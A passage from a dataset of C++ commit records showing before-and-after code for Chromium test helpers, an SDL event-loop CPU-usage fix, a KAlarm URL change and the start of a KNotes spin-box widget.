\/\/ The mock verifies that the call was made.\n}\n\nIN_PROC_BROWSER_TEST_F(AutofillPopupViewBrowserTest,\n SetSelectedAutofillLineAndCallInvalidate) {\n std::vector<string16> autofill_values;\n autofill_values.push_back(string16());\n std::vector<int> autofill_ids;\n autofill_ids.push_back(0);\n autofill_popup_view_->Show(\n autofill_values, autofill_values, autofill_values, autofill_ids, 0);\n\n \/\/ Make sure that when a new line is selected, it is invalidated so it can\n \/\/ be updated to show it is selected.\n int selected_line = 0;\n EXPECT_CALL(*autofill_popup_view_, InvalidateRow(selected_line));\n autofill_popup_view_->SetSelectedLine(selected_line);\n\n \/\/ Ensure that the row isn't invalidated if it didn't change.\n EXPECT_CALL(*autofill_popup_view_, InvalidateRow(selected_line)).Times(0);\n autofill_popup_view_->SetSelectedLine(selected_line);\n\n \/\/ Change back to no selection.\n EXPECT_CALL(*autofill_popup_view_, InvalidateRow(selected_line));\n autofill_popup_view_->SetSelectedLine(-1);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/renderer_host\/test\/test_render_view_host.h\"\n\n#include \"chrome\/browser\/browser_url_handler.h\"\n#include \"chrome\/browser\/renderer_host\/test\/test_backing_store.h\"\n#include \"chrome\/browser\/tab_contents\/test_tab_contents.h\"\n#include \"chrome\/common\/dom_storage_common.h\"\n#include \"chrome\/common\/render_messages.h\"\n#include \"gfx\/rect.h\"\n\nusing webkit_glue::PasswordForm;\n\nTestRenderViewHost::TestRenderViewHost(SiteInstance* instance,\n RenderViewHostDelegate* delegate,\n int routing_id)\n : RenderViewHost(instance, delegate, routing_id,\n kInvalidSessionStorageNamespaceId),\n render_view_created_(false),\n delete_counter_(NULL) {\n set_view(new TestRenderWidgetHostView(this));\n}\n\nTestRenderViewHost::~TestRenderViewHost() {\n if (delete_counter_)\n ++*delete_counter_;\n\n \/\/ Since this isn't a traditional view, we have to delete it.\n delete view();\n}\n\nbool TestRenderViewHost::CreateRenderView(\n URLRequestContextGetter* request_context) {\n DCHECK(!render_view_created_);\n render_view_created_ = true;\n process()->ViewCreated();\n return true;\n}\n\nbool TestRenderViewHost::IsRenderViewLive() const {\n return render_view_created_;\n}\n\nvoid TestRenderViewHost::TestOnMessageReceived(const IPC::Message& msg) {\n OnMessageReceived(msg);\n}\n\nvoid TestRenderViewHost::SendNavigate(int page_id, const GURL& url) {\n ViewHostMsg_FrameNavigate_Params params;\n\n params.page_id = page_id;\n params.url = url;\n params.referrer = GURL();\n params.transition = PageTransition::LINK;\n params.redirects = std::vector<GURL>();\n params.should_update_history = true;\n params.searchable_form_url = GURL();\n params.searchable_form_encoding = std::string();\n params.password_form = PasswordForm();\n params.security_info = std::string();\n params.gesture = NavigationGestureUser;\n params.contents_mime_type = std::string();\n params.is_post = false;\n params.is_content_filtered = false;\n params.http_status_code = 0;\n\n ViewHostMsg_FrameNavigate msg(1, params);\n OnMsgNavigate(msg);\n}\n\nTestRenderWidgetHostView::TestRenderWidgetHostView(RenderWidgetHost* rwh)\n : rwh_(rwh),\n is_showing_(false) {\n}\n\nBackingStore* TestRenderWidgetHostView::AllocBackingStore(\n const gfx::Size& size) {\n return new TestBackingStore(rwh_, size);\n}\n\nVideoLayer* TestRenderWidgetHostView::AllocVideoLayer(\n const gfx::Size& size) {\n NOTIMPLEMENTED();\n return NULL;\n}\n\n#if defined(OS_MACOSX)\ngfx::Rect TestRenderWidgetHostView::GetWindowRect() {\n return gfx::Rect();\n}\n\ngfx::Rect TestRenderWidgetHostView::GetRootWindowRect() {\n return gfx::Rect();\n}\n\nvoid TestRenderWidgetHostView::SetActive(bool active) {\n \/\/ <viettrungluu@gmail.com>: Do I need to do anything here?\n}\n\ngfx::PluginWindowHandle\nTestRenderWidgetHostView::AllocateFakePluginWindowHandle() {\n return NULL;\n}\n\nvoid TestRenderWidgetHostView::DestroyFakePluginWindowHandle(\n gfx::PluginWindowHandle window) {\n}\n\nvoid TestRenderWidgetHostView::AcceleratedSurfaceSetIOSurface(\n gfx::PluginWindowHandle window,\n int32 width,\n int32 height,\n uint64 io_surface_identifier) {\n}\n\nvoid TestRenderWidgetHostView::AcceleratedSurfaceSetTransportDIB(\n gfx::PluginWindowHandle window,\n int32 width,\n int32 height,\n TransportDIB::Handle transport_dib) {\n}\n\nvoid TestRenderWidgetHostView::AcceleratedSurfaceBuffersSwapped(\n gfx::PluginWindowHandle window) {\n}\n\nvoid TestRenderWidgetHostView::DrawAcceleratedSurfaceInstances(\n CGLContextObj context) {\n}\n#endif\n\nvoid RenderViewHostTestHarness::NavigateAndCommit(const GURL& url) {\n controller().LoadURL(url, GURL(), 0);\n GURL loaded_url(url);\n bool reverse_on_redirect = false;\n BrowserURLHandler::RewriteURLIfNecessary(\n &loaded_url, profile(), &reverse_on_redirect);\n rvh()->SendNavigate(process()->max_page_id() + 1, loaded_url);\n}\n\nvoid RenderViewHostTestHarness::Reload() {\n NavigationEntry* entry = controller().GetLastCommittedEntry();\n DCHECK(entry);\n controller().Reload(false);\n rvh()->SendNavigate(entry->page_id(), entry->url());\n}\n\nvoid RenderViewHostTestHarness::SetUp() {\n \/\/ See comment above profile_ decl for why we check for NULL here.\n if (!profile_.get())\n profile_.reset(new TestingProfile());\n\n \/\/ This will be deleted when the TabContents goes away.\n SiteInstance* instance = SiteInstance::CreateSiteInstance(profile_.get());\n\n contents_.reset(new TestTabContents(profile_.get(), instance));\n\n user_data_manager_.reset(UserDataManager::Create());\n}\n\nvoid RenderViewHostTestHarness::TearDown() {\n contents_.reset();\n\n \/\/ Make sure that we flush any messages related to TabContents destruction\n \/\/ before we destroy the profile.\n MessageLoop::current()->RunAllPending();\n}\n<commit_msg>Destroy testing profile on UI thread.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/renderer_host\/test\/test_render_view_host.h\"\n\n#include \"chrome\/browser\/browser_url_handler.h\"\n#include \"chrome\/browser\/renderer_host\/test\/test_backing_store.h\"\n#include \"chrome\/browser\/tab_contents\/test_tab_contents.h\"\n#include \"chrome\/common\/dom_storage_common.h\"\n#include \"chrome\/common\/render_messages.h\"\n#include \"gfx\/rect.h\"\n\nusing webkit_glue::PasswordForm;\n\nTestRenderViewHost::TestRenderViewHost(SiteInstance* instance,\n RenderViewHostDelegate* delegate,\n int routing_id)\n : RenderViewHost(instance, delegate, routing_id,\n kInvalidSessionStorageNamespaceId),\n render_view_created_(false),\n delete_counter_(NULL) {\n set_view(new TestRenderWidgetHostView(this));\n}\n\nTestRenderViewHost::~TestRenderViewHost() {\n if (delete_counter_)\n ++*delete_counter_;\n\n \/\/ Since this isn't a traditional view, we have to delete it.\n delete view();\n}\n\nbool TestRenderViewHost::CreateRenderView(\n URLRequestContextGetter* request_context) {\n DCHECK(!render_view_created_);\n render_view_created_ = true;\n process()->ViewCreated();\n return true;\n}\n\nbool TestRenderViewHost::IsRenderViewLive() const {\n return render_view_created_;\n}\n\nvoid TestRenderViewHost::TestOnMessageReceived(const IPC::Message& msg) {\n OnMessageReceived(msg);\n}\n\nvoid TestRenderViewHost::SendNavigate(int page_id, const GURL& url) {\n ViewHostMsg_FrameNavigate_Params params;\n\n params.page_id = page_id;\n params.url = url;\n params.referrer = GURL();\n params.transition = PageTransition::LINK;\n params.redirects = std::vector<GURL>();\n params.should_update_history = true;\n params.searchable_form_url = GURL();\n params.searchable_form_encoding = std::string();\n params.password_form = PasswordForm();\n params.security_info = std::string();\n params.gesture = NavigationGestureUser;\n params.contents_mime_type = std::string();\n params.is_post = false;\n params.is_content_filtered = false;\n params.http_status_code = 0;\n\n ViewHostMsg_FrameNavigate msg(1, params);\n OnMsgNavigate(msg);\n}\n\nTestRenderWidgetHostView::TestRenderWidgetHostView(RenderWidgetHost* rwh)\n : rwh_(rwh),\n is_showing_(false) {\n}\n\nBackingStore* TestRenderWidgetHostView::AllocBackingStore(\n const gfx::Size& size) {\n return new TestBackingStore(rwh_, size);\n}\n\nVideoLayer* TestRenderWidgetHostView::AllocVideoLayer(\n const gfx::Size& size) {\n NOTIMPLEMENTED();\n return NULL;\n}\n\n#if defined(OS_MACOSX)\ngfx::Rect TestRenderWidgetHostView::GetWindowRect() {\n return gfx::Rect();\n}\n\ngfx::Rect TestRenderWidgetHostView::GetRootWindowRect() {\n return gfx::Rect();\n}\n\nvoid TestRenderWidgetHostView::SetActive(bool active) {\n \/\/ <viettrungluu@gmail.com>: Do I need to do anything here?\n}\n\ngfx::PluginWindowHandle\nTestRenderWidgetHostView::AllocateFakePluginWindowHandle() {\n return NULL;\n}\n\nvoid TestRenderWidgetHostView::DestroyFakePluginWindowHandle(\n gfx::PluginWindowHandle window) {\n}\n\nvoid TestRenderWidgetHostView::AcceleratedSurfaceSetIOSurface(\n gfx::PluginWindowHandle window,\n int32 width,\n int32 height,\n uint64 io_surface_identifier) {\n}\n\nvoid TestRenderWidgetHostView::AcceleratedSurfaceSetTransportDIB(\n gfx::PluginWindowHandle window,\n int32 width,\n int32 height,\n TransportDIB::Handle transport_dib) {\n}\n\nvoid TestRenderWidgetHostView::AcceleratedSurfaceBuffersSwapped(\n gfx::PluginWindowHandle window) {\n}\n\nvoid TestRenderWidgetHostView::DrawAcceleratedSurfaceInstances(\n CGLContextObj context) {\n}\n#endif\n\nvoid RenderViewHostTestHarness::NavigateAndCommit(const GURL& url) {\n controller().LoadURL(url, GURL(), 0);\n GURL loaded_url(url);\n bool reverse_on_redirect = false;\n BrowserURLHandler::RewriteURLIfNecessary(\n &loaded_url, profile(), &reverse_on_redirect);\n rvh()->SendNavigate(process()->max_page_id() + 1, loaded_url);\n}\n\nvoid RenderViewHostTestHarness::Reload() {\n NavigationEntry* entry = controller().GetLastCommittedEntry();\n DCHECK(entry);\n controller().Reload(false);\n rvh()->SendNavigate(entry->page_id(), entry->url());\n}\n\nvoid RenderViewHostTestHarness::SetUp() {\n \/\/ See comment above profile_ decl for why we check for NULL here.\n if (!profile_.get())\n profile_.reset(new TestingProfile());\n\n \/\/ This will be deleted when the TabContents goes away.\n SiteInstance* instance = SiteInstance::CreateSiteInstance(profile_.get());\n\n contents_.reset(new TestTabContents(profile_.get(), instance));\n\n user_data_manager_.reset(UserDataManager::Create());\n}\n\nvoid RenderViewHostTestHarness::TearDown() {\n contents_.reset();\n\n \/\/ Make sure that we flush any messages related to TabContents destruction\n \/\/ before we destroy the profile.\n MessageLoop::current()->RunAllPending();\n\n \/\/ Release the profile on the UI thread.\n message_loop_.DeleteSoon(FROM_HERE, profile_.release());\n message_loop_.RunAllPending();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"application.hpp\"\n#include \"widget.hpp\"\n#include \"paint_event.hpp\"\n#include <SDL2\/SDL.h>\n#include <stdexcept>\n#include <algorithm>\n\nApplication *Application::instance_ = nullptr;\n\nApplication::Application(int &argc, char **argv)\n{\n if (instance_ != nullptr)\n throw std::runtime_error(\"The program can have only one instance of Application\");\n instance_ = this;\n if (SDL_Init(SDL_INIT_EVERYTHING) != 0)\n throw std::runtime_error(\"SDL_Init Error: \" + std::string(SDL_GetError()));\n}\n\nApplication::~Application()\n{\n SDL_Quit();\n instance_ = nullptr;\n}\n\nint Application::exec()\n{\n bool done = false;\n while (!done)\n {\n SDL_Event e;\n while (SDL_PollEvent(&e))\n {\n switch (e.type)\n {\n case SDL_WINDOWEVENT:\n {\n Widget *w = widgetByWindowId(e.window.windowID);\n switch (e.window.event)\n {\n case SDL_WINDOWEVENT_SHOWN:\n {\n PaintEvent event;\n w->paintEvent(event);\n }\n break;\n }\n break;\n }\n case SDL_QUIT:\n done = true;\n break;\n } \n }\n }\n return 0;\n}\n\nApplication *Application::instance()\n{\n return instance_;\n}\n\nvoid Application::addWidget(Widget *w)\n{\n widgetList_.push_back(w);\n}\n\nvoid Application::removeWidget(Widget *w)\n{\n widgetList_.erase(std::remove(begin(widgetList_), end(widgetList_), w), end(widgetList_));\n}\n\nWidget *Application::widgetByWindowId(Uint32 id)\n{\n for (const auto w: widgetList_)\n if (id == w->windowId())\n return w;\n return nullptr;\n}\n<commit_msg>Fix 100% CPU usage<commit_after>#include \"application.hpp\"\n#include \"widget.hpp\"\n#include \"paint_event.hpp\"\n#include <SDL2\/SDL.h>\n#include <stdexcept>\n#include <algorithm>\n#include <iostream>\n\nApplication *Application::instance_ = nullptr;\n\nApplication::Application(int &argc, char **argv)\n{\n if (instance_ != nullptr)\n throw std::runtime_error(\"The program can have only one instance of Application\");\n instance_ = this;\n if (SDL_Init(SDL_INIT_EVERYTHING) != 0)\n throw std::runtime_error(\"SDL_Init Error: \" + std::string(SDL_GetError()));\n}\n\nApplication::~Application()\n{\n SDL_Quit();\n instance_ = nullptr;\n}\n\nint Application::exec()\n{\n bool done = false;\n while (!done)\n {\n SDL_Event e;\n if (SDL_WaitEvent(&e))\n {\n switch (e.type)\n {\n case SDL_WINDOWEVENT:\n {\n Widget *w = widgetByWindowId(e.window.windowID);\n switch (e.window.event)\n {\n case SDL_WINDOWEVENT_SHOWN:\n {\n PaintEvent event;\n w->paintEvent(event);\n }\n break;\n }\n break;\n }\n case SDL_QUIT:\n done = true;\n break;\n } \n }\n }\n return 0;\n}\n\nApplication *Application::instance()\n{\n return instance_;\n}\n\nvoid Application::addWidget(Widget *w)\n{\n widgetList_.push_back(w);\n}\n\nvoid Application::removeWidget(Widget *w)\n{\n widgetList_.erase(std::remove(begin(widgetList_), end(widgetList_), w), end(widgetList_));\n}\n\nWidget *Application::widgetByWindowId(Uint32 id)\n{\n for (const auto w: widgetList_)\n if (id == w->windowId())\n return w;\n return nullptr;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * main.cpp\n * Program: kalarm\n * Copyright © 2001-2007 by David Jarvie <software@astrojar.org.uk>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\/\n\n#include \"kalarm.h\"\n\n#include <stdlib.h>\n\n#include <kcmdlineargs.h>\n#include <kaboutdata.h>\n#include <klocale.h>\n#include <kdebug.h>\n\n#include \"kalarmapp.h\"\n\n#define PROGRAM_NAME \"kalarm\"\n\nstatic KCmdLineOptions options[] =\n{\n\t{ \"a\", 0, 0 },\n\t{ \"ack-confirm\", I18N_NOOP(\"Prompt for confirmation when alarm is acknowledged\"), 0 },\n\t{ \"A\", 0, 0 },\n\t{ \"attach <url>\", I18N_NOOP(\"Attach file to email (repeat as needed)\"), 0 },\n\t{ \"auto-close\", I18N_NOOP(\"Auto-close alarm window after --late-cancel period\"), 0 },\n\t{ \"bcc\", I18N_NOOP(\"Blind copy email to self\"), 0 },\n\t{ \"b\", 0, 0 },\n\t{ \"beep\", I18N_NOOP(\"Beep when message is displayed\"), 0 },\n\t{ \"colour\", 0, 0 },\n\t{ \"c\", 0, 0 },\n\t{ \"color <color>\", I18N_NOOP(\"Message background color (name or hex 0xRRGGBB)\"), 0 },\n\t{ \"colourfg\", 0, 0 },\n\t{ \"C\", 0, 0 },\n\t{ \"colorfg <color>\", I18N_NOOP(\"Message foreground color (name or hex 0xRRGGBB)\"), 0 },\n\t{ \"cancelEvent <eventID>\", I18N_NOOP(\"Cancel alarm with the specified event ID\"), 0 },\n\t{ \"d\", 0, 0 },\n\t{ \"disable\", I18N_NOOP(\"Disable the alarm\"), 0 },\n\t{ \"e\", 0, 0 },\n\t{ \"!exec <commandline>\", I18N_NOOP(\"Execute a shell command line\"), 0 },\n\t{ \"edit <eventID>\", I18N_NOOP(\"Display the alarm edit dialog to edit the specified alarm\"), 0 },\n\t{ \"n\", 0, 0 },\n\t{ \"edit-new\", I18N_NOOP(\"Display the alarm edit dialog to edit a new alarm\"), 0 },\n\t{ \"edit-new-preset <templateName>\", I18N_NOOP(\"Display the alarm edit dialog, preset with a template\"), 0 },\n\t{ \"f\", 0, 0 },\n\t{ \"file <url>\", I18N_NOOP(\"File to display\"), 0 },\n\t{ \"F\", 0, 0 },\n\t{ \"from-id <ID>\", I18N_NOOP(\"KMail identity to use as sender of email\"), 0 },\n\t{ \"handleEvent <eventID>\", I18N_NOOP(\"Trigger or cancel alarm with the specified event ID\"), 0 },\n\t{ \"i\", 0, 0 },\n\t{ \"interval <period>\", I18N_NOOP(\"Interval between alarm repetitions\"), 0 },\n\t{ \"k\", 0, 0 },\n\t{ \"korganizer\", I18N_NOOP(\"Show alarm as an event in KOrganizer\"), 0 },\n\t{ \"l\", 0, 0 },\n\t{ \"late-cancel <period>\", I18N_NOOP(\"Cancel alarm if more than 'period' late when triggered\"), \"1\" },\n\t{ \"L\", 0, 0 },\n\t{ \"login\", I18N_NOOP(\"Repeat alarm at every login\"), 0 },\n\t{ \"m\", 0, 0 },\n\t{ \"mail <address>\", I18N_NOOP(\"Send an email to the given address (repeat as needed)\"), 0 },\n\t{ \"p\", 0, 0 },\n\t{ \"play <url>\", I18N_NOOP(\"Audio file to play once\"), 0 },\n\t{ \"P\", 0, 0 },\n\t{ \"play-repeat <url>\", I18N_NOOP(\"Audio file to play repeatedly\"), 0 },\n\t{ \"recurrence <spec>\", I18N_NOOP(\"Specify alarm recurrence using iCalendar syntax\"), 0 },\n\t{ \"R\", 0, 0 },\n\t{ \"reminder <period>\", I18N_NOOP(\"Display reminder in advance of alarm\"), 0 },\n\t{ \"reminder-once <period>\", I18N_NOOP(\"Display reminder once, before first alarm recurrence\"), 0 },\n\t{ \"r\", 0, 0 },\n\t{ \"repeat <count>\", I18N_NOOP(\"Number of times to repeat alarm (including initial occasion)\"), 0 },\n\t{ \"reset\", I18N_NOOP(\"Reset the alarm scheduling daemon\"), 0 },\n\t{ \"s\", 0, 0 },\n\t{ \"speak\", I18N_NOOP(\"Speak the message when it is displayed\"), 0 },\n\t{ \"stop\", I18N_NOOP(\"Stop the alarm scheduling daemon\"), 0 },\n\t{ \"S\", 0, 0 },\n\t{ \"subject\", I18N_NOOP(\"Email subject line\"), 0 },\n\t{ \"t\", 0, 0 },\n\t{ \"time <time>\", I18N_NOOP(\"Trigger alarm at time [[[yyyy-]mm-]dd-]hh:mm [TZ], or date yyyy-mm-dd [TZ]\"), 0 },\n\t{ \"tray\", I18N_NOOP(\"Display system tray icon\"), 0 },\n\t{ \"triggerEvent <eventID>\", I18N_NOOP(\"Trigger alarm with the specified event ID\"), 0 },\n\t{ \"u\", 0, 0 },\n\t{ \"until <time>\", I18N_NOOP(\"Repeat until time [[[yyyy-]mm-]dd-]hh:mm [TZ], or date yyyy-mm-dd [TZ]\"), 0 },\n\t{ \"V\", 0, 0 },\n\t{ \"volume <percent>\", I18N_NOOP(\"Volume to play audio file\"), 0 },\n\t{ \"+[message]\", I18N_NOOP(\"Message text to display\"), 0 },\n\tKCmdLineLastOption\n};\n\n\nint main(int argc, char *argv[])\n{\n\tKAboutData aboutData(PROGRAM_NAME, I18N_NOOP(\"KAlarm\"), KALARM_VERSION,\n\t\tI18N_NOOP(\"Personal alarm message, command and email scheduler for KDE\"),\n\t\tKAboutData::License_GPL,\n\t\t\"Copyright 2001-2007, David Jarvie\", 0, \"http:\/\/www.astrojar.org.uk\/linux\/kalarm.html\");\n\taboutData.addAuthor(\"David Jarvie\", 0, \"software@astrojar.org.uk\");\n aboutData.setOrganizationDomain(\"kde.org\");\n\n\tKCmdLineArgs::init(argc, argv, &aboutData);\n\tKCmdLineArgs::addCmdLineOptions(options);\n\tKUniqueApplication::addCmdLineOptions();\n\n\tif (!KAlarmApp::start())\n\t{\n\t\t\/\/ An instance of the application is already running\n\t\texit(0);\n\t}\n\n\t\/\/ This is the first time through\n\tkDebug(5950) << \"main(): initialising\\n\";\n\tKAlarmApp* app = KAlarmApp::getInstance();\n\tapp->restoreSession();\n\treturn app->exec();\n}\n<commit_msg>Amend KAlarm URL.<commit_after>\/*\n * main.cpp\n * Program: kalarm\n * Copyright © 2001-2007 by David Jarvie <software@astrojar.org.uk>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\/\n\n#include \"kalarm.h\"\n\n#include <stdlib.h>\n\n#include <kcmdlineargs.h>\n#include <kaboutdata.h>\n#include <klocale.h>\n#include <kdebug.h>\n\n#include \"kalarmapp.h\"\n\n#define PROGRAM_NAME \"kalarm\"\n\nstatic KCmdLineOptions options[] =\n{\n\t{ \"a\", 0, 0 },\n\t{ \"ack-confirm\", I18N_NOOP(\"Prompt for confirmation when alarm is acknowledged\"), 0 },\n\t{ \"A\", 0, 0 },\n\t{ \"attach <url>\", I18N_NOOP(\"Attach file to email (repeat as needed)\"), 0 },\n\t{ \"auto-close\", I18N_NOOP(\"Auto-close alarm window after --late-cancel period\"), 0 },\n\t{ \"bcc\", I18N_NOOP(\"Blind copy email to self\"), 0 },\n\t{ \"b\", 0, 0 },\n\t{ \"beep\", I18N_NOOP(\"Beep when message is displayed\"), 0 },\n\t{ \"colour\", 0, 0 },\n\t{ \"c\", 0, 0 },\n\t{ \"color <color>\", I18N_NOOP(\"Message background color (name or hex 0xRRGGBB)\"), 0 },\n\t{ \"colourfg\", 0, 0 },\n\t{ \"C\", 0, 0 },\n\t{ \"colorfg <color>\", I18N_NOOP(\"Message foreground color (name or hex 0xRRGGBB)\"), 0 },\n\t{ \"cancelEvent <eventID>\", I18N_NOOP(\"Cancel alarm with the specified event ID\"), 0 },\n\t{ \"d\", 0, 0 },\n\t{ \"disable\", I18N_NOOP(\"Disable the alarm\"), 0 },\n\t{ \"e\", 0, 0 },\n\t{ \"!exec <commandline>\", I18N_NOOP(\"Execute a shell command line\"), 0 },\n\t{ \"edit <eventID>\", I18N_NOOP(\"Display the alarm edit dialog to edit the specified alarm\"), 0 },\n\t{ \"n\", 0, 0 },\n\t{ \"edit-new\", I18N_NOOP(\"Display the alarm edit dialog to edit a new alarm\"), 0 },\n\t{ \"edit-new-preset <templateName>\", I18N_NOOP(\"Display the alarm edit dialog, preset with a template\"), 0 },\n\t{ \"f\", 0, 0 },\n\t{ \"file <url>\", I18N_NOOP(\"File to display\"), 0 },\n\t{ \"F\", 0, 0 },\n\t{ \"from-id <ID>\", I18N_NOOP(\"KMail identity to use as sender of email\"), 0 },\n\t{ \"handleEvent <eventID>\", I18N_NOOP(\"Trigger or cancel alarm with the specified event ID\"), 0 },\n\t{ \"i\", 0, 0 },\n\t{ \"interval <period>\", I18N_NOOP(\"Interval between alarm repetitions\"), 0 },\n\t{ \"k\", 0, 0 },\n\t{ \"korganizer\", I18N_NOOP(\"Show alarm as an event in KOrganizer\"), 0 },\n\t{ \"l\", 0, 0 },\n\t{ \"late-cancel <period>\", I18N_NOOP(\"Cancel alarm if more than 'period' late when triggered\"), \"1\" },\n\t{ \"L\", 0, 0 },\n\t{ \"login\", I18N_NOOP(\"Repeat alarm at every login\"), 0 },\n\t{ \"m\", 0, 0 },\n\t{ \"mail <address>\", I18N_NOOP(\"Send an email to the given address (repeat as needed)\"), 0 },\n\t{ \"p\", 0, 0 },\n\t{ \"play <url>\", I18N_NOOP(\"Audio file to play once\"), 0 },\n\t{ \"P\", 0, 0 },\n\t{ \"play-repeat <url>\", I18N_NOOP(\"Audio file to play repeatedly\"), 0 },\n\t{ \"recurrence <spec>\", I18N_NOOP(\"Specify alarm recurrence using iCalendar syntax\"), 0 },\n\t{ \"R\", 0, 0 },\n\t{ \"reminder <period>\", I18N_NOOP(\"Display reminder in advance of alarm\"), 0 },\n\t{ \"reminder-once <period>\", I18N_NOOP(\"Display reminder once, before first alarm recurrence\"), 0 },\n\t{ \"r\", 0, 0 },\n\t{ \"repeat <count>\", I18N_NOOP(\"Number of times to repeat alarm (including initial occasion)\"), 0 },\n\t{ \"reset\", I18N_NOOP(\"Reset the alarm scheduling daemon\"), 0 },\n\t{ \"s\", 0, 0 },\n\t{ \"speak\", I18N_NOOP(\"Speak the message when it is displayed\"), 0 },\n\t{ \"stop\", I18N_NOOP(\"Stop the alarm scheduling daemon\"), 0 },\n\t{ \"S\", 0, 0 },\n\t{ \"subject\", I18N_NOOP(\"Email subject line\"), 0 },\n\t{ \"t\", 0, 0 },\n\t{ \"time <time>\", I18N_NOOP(\"Trigger alarm at time [[[yyyy-]mm-]dd-]hh:mm [TZ], or date yyyy-mm-dd [TZ]\"), 0 },\n\t{ \"tray\", I18N_NOOP(\"Display system tray icon\"), 0 },\n\t{ \"triggerEvent <eventID>\", I18N_NOOP(\"Trigger alarm with the specified event ID\"), 0 },\n\t{ \"u\", 0, 0 },\n\t{ \"until <time>\", I18N_NOOP(\"Repeat until time [[[yyyy-]mm-]dd-]hh:mm [TZ], or date yyyy-mm-dd [TZ]\"), 0 },\n\t{ \"V\", 0, 0 },\n\t{ \"volume <percent>\", I18N_NOOP(\"Volume to play audio file\"), 0 },\n\t{ \"+[message]\", I18N_NOOP(\"Message text to display\"), 0 },\n\tKCmdLineLastOption\n};\n\n\nint main(int argc, char *argv[])\n{\n\tKAboutData aboutData(PROGRAM_NAME, I18N_NOOP(\"KAlarm\"), KALARM_VERSION,\n\t\tI18N_NOOP(\"Personal alarm message, command and email scheduler for KDE\"),\n\t\tKAboutData::License_GPL,\n\t\t\"Copyright 2001-2007, David Jarvie\", 0, \"http:\/\/www.astrojar.org.uk\/kalarm\");\n\taboutData.addAuthor(\"David Jarvie\", 0, \"software@astrojar.org.uk\");\n aboutData.setOrganizationDomain(\"kde.org\");\n\n\tKCmdLineArgs::init(argc, argv, &aboutData);\n\tKCmdLineArgs::addCmdLineOptions(options);\n\tKUniqueApplication::addCmdLineOptions();\n\n\tif (!KAlarmApp::start())\n\t{\n\t\t\/\/ An instance of the application is already running\n\t\texit(0);\n\t}\n\n\t\/\/ This is the first time through\n\tkDebug(5950) << \"main(): initialising\\n\";\n\tKAlarmApp* app = KAlarmApp::getInstance();\n\tapp->restoreSession();\n\treturn app->exec();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n $Id$\n\n KNotes - Notes for the KDE Project\n Copyright (C) 1997 Bernd Johannes Wuebben\n \n wuebben@math.cornell.edu\n wuebben@kde.org\n\n This class is a modified version of a class found in:\n\n qtremind - an X windows appoint reminder program.\n Copyright (C) 1997 Tom Daley\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License\n as published by the Free Software Foundation; either version 2\n of the License, or (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n\n\n*\/\n\n\n#include <qbitmap.h>\n#include <qtimer.h>\n#include <spin.h>\n\n#include \"up.xbm\"\n#include \"down.xbm\"\n\n\nQtedSetInt::QtedSetInt(int min, int max, int start_value, int format, \n QWidget *parent, const char *name) : \n QWidget(parent, name), _min(min), _max(max),\n _format(format), _up_timer_p(NULL), _dn_timer_p(NULL) {\n if (_max <_min)\t\t\/\/ make sure numbers make sense\n _max = _min;\n \n QString str;\n str.sprintf(\"%d\", _min);\t\/\/ find the max number string length \n _length = str.length();\n str.sprintf(\"%d\", _max);\n if ((int)str.length() > _length)\n _length = str.length();\n\n _upButton_p = new QPushButton(this);\n QBitmap up_bm(up_arrow_width, up_arrow_height, up_arrow_bits, TRUE);\n _upButton_p->setPixmap(up_bm);\n _upButton_p->setAutoResize(TRUE);\n\n _dnButton_p = new QPushButton(this);\n QBitmap dn_bm(dn_arrow_width, dn_arrow_height, dn_arrow_bits, TRUE);\n _dnButton_p->setPixmap(dn_bm);\n _dnButton_p->setAutoResize(TRUE);\n\n _label_p = new QLabel(\"Foo\", this);\n _label_p->setAlignment(AlignCenter);\n _label_p->setLineWidth(2);\n _label_p->setFrameStyle(QFrame::Panel | QFrame::Sunken);\n _label_p->setBackgroundColor(white);\n\n value(start_value);\n setSize();\n connect(_upButton_p, SIGNAL(pressed()), this, SLOT(upPressed()));\n connect(_upButton_p, SIGNAL(released()), this, SLOT(upReleased()));\n connect(_dnButton_p, SIGNAL(pressed()), this, SLOT(dnPressed()));\n connect(_dnButton_p, SIGNAL(released()), this, SLOT(dnReleased()));\n}\n\n\/\/*****************************************************************************\n\nvoid QtedSetInt::\nsetSize(void) {\n int num_wid;\/\/ mid_wid;\n int bt_sz = 13;\n int w, mid_w, label_h;\n label_h = fontMetrics().lineSpacing () + 2 * _label_p->frameWidth();\n\n num_wid = fontMetrics().maxWidth() * _length;\n num_wid += 2 * _label_p->frameWidth(); \n\n if (num_wid > bt_sz * 2)\n w = num_wid;\n else \n w = bt_sz * 2;\n mid_w = w \/ 